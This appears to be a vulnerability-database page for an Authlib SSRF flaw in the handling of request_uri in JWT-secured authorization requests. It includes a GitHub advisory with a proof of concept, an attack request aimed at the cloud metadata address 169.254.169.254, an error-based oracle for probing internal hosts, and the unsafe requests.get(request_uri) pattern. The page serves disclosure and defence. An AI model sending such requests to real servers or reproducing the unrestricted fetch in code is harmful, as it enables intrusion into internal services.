CVE-2026-114620

mediumpriority · track · 0EPSS 0.003 · 21 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.29% (21st) EPSS
CVSS 5.4 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, Authlib's RFC 9101 JWTAuthenticationRequest passes the unauthenticated, client-controlled request_uri parameter to the abstract get_request_object() hook before applying a destination or registration policy; the hook itself performs no network request, while the documentation demonstrates an unrestricted HTTP fetch. In deployments whose integrator implements that hook as an unrestricted outbound fetch, a remote attacker who knows a valid public client identifier can make the authorization server request internal, link-local, or otherwise unintended URLs and can distinguish fetch outcomes through different error responses and timing. Deployments whose custom hook already applies a secure allowlist, destination controls, and retrieval limits are not affected. The JWTAuthenticationRequest implementation in authlib/oauth2/rfc9101/authorization_server.py forwards request_uri to get_request_object() before an application-approved retrieval policy accepts the destination. This issue is fixed in version 1.9.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.4
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.15.4mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · security-advisories@github.comexploitability 2.2 · impact 2.7
v3.15.4mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:Nsecondary · OSV
v3.15mediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

weaknesses

The CWE weakness classes this flaw belongs to.

03

affected products (1)

Products and version ranges known to be affected.

04

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-x4rv-c3wx-4cr8Authlib: Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF2026-10-27ghsa · osvUS

    ### Summary Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. ### Details Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`. The extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58). The only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier. The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check: ```python def _get_raw_request_object(self, request: OAuth2Request) -> str: if "request_uri" in request.payload.data: raw_request_object = self.get_request_object( request.payload.data["request_uri"] ) if not raw_request_object: raise InvalidRequestUriError(state=request.payload.state) ``` `get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223): ```python def get_request_object(self, request_uri: str): try: return requests.get(request_uri).text except requests.Exception: return None ``` Two points sharpen this beyond a generic documentation issue: - **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - **RFC 9101 §10.4.1 asks for controls that are absent.** It states the server should "a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`." The extension implements none of these and the documented example implements none of them either. The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186). ### PoC This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication. ```bash python -m venv .venv && .venv/bin/pip install authlib ``` ```python from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request from authlib.oauth2.rfc9101 import JWTAuthenticationRequest reached = [] class Extension(JWTAuthenticationRequest): def get_request_object(self, request_uri): reached.append(request_uri) # the docstring puts requests.get(request_uri) here return None def resolve_client_public_key(self, client): return {"keys": []} def get_server_metadata(self): return {} def get_client_require_signed_request_object(self, client): return False class AuthorizationServer: def query_client(self, client_id): return object() uri = "http://169.254.169.254/latest/meta-data/" request = OAuth2Request("GET", "https://as.example/authorize") request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri}) try: Extension().parse_authorization_request(AuthorizationServer(), request) except Exception as exc: print("error:", type(exc).__name__) print("fetch hook received:", reached) ``` Output on authlib 1.7.2: ```text error: InvalidRequestUriError fetch hook received: ['http://169.254.169.254/latest/meta-data/'] ``` Against a deployment that used the docstring implementation, the equivalent unauthenticated request is: ```text GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F ``` Returning a fetched-but-non-JWT body instead of `None` in the snippet above yields `InvalidRequestObjectError` rather than `InvalidRequestUriError`, showing the oracle that distinguishes a reachable target from an unreachable one. ### Impact Server-side request forgery, reachable without authentication by anyone who knows a valid `client_id`. In a deployment that implemented `get_request_object` as documented, an attacker can make the authorization server issue GET requests to arbitrary URLs: internal-only services, cloud metadata endpoints such as `169.254.169.254`, and side-effectful internal GET routes. The `invalid_request_uri` versus `invalid_request_object` split, together with response timing, provides an oracle for internal host and port discovery. RFC 9101 §10.4.1 additionally notes the DoS and recursive-lookup risks that the missing timeout and recursion checks leave open. Response bodies are consumed as a JWT and never reflected, so this is a blind primitive rather than direct data exfiltration. Because the fetch executes in integrator code, deployments that already allowlist inside their override are unaffected — but authlib provides no hook to make that the default, ships `support_request_uri=True`, and its documentation steers integrators to the unsafe implementation, so the insecure outcome is the expected one.

05

sources

Which sources assert this record, and when.

published 2026-10-22modified 2026-10-23
07

references (5) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan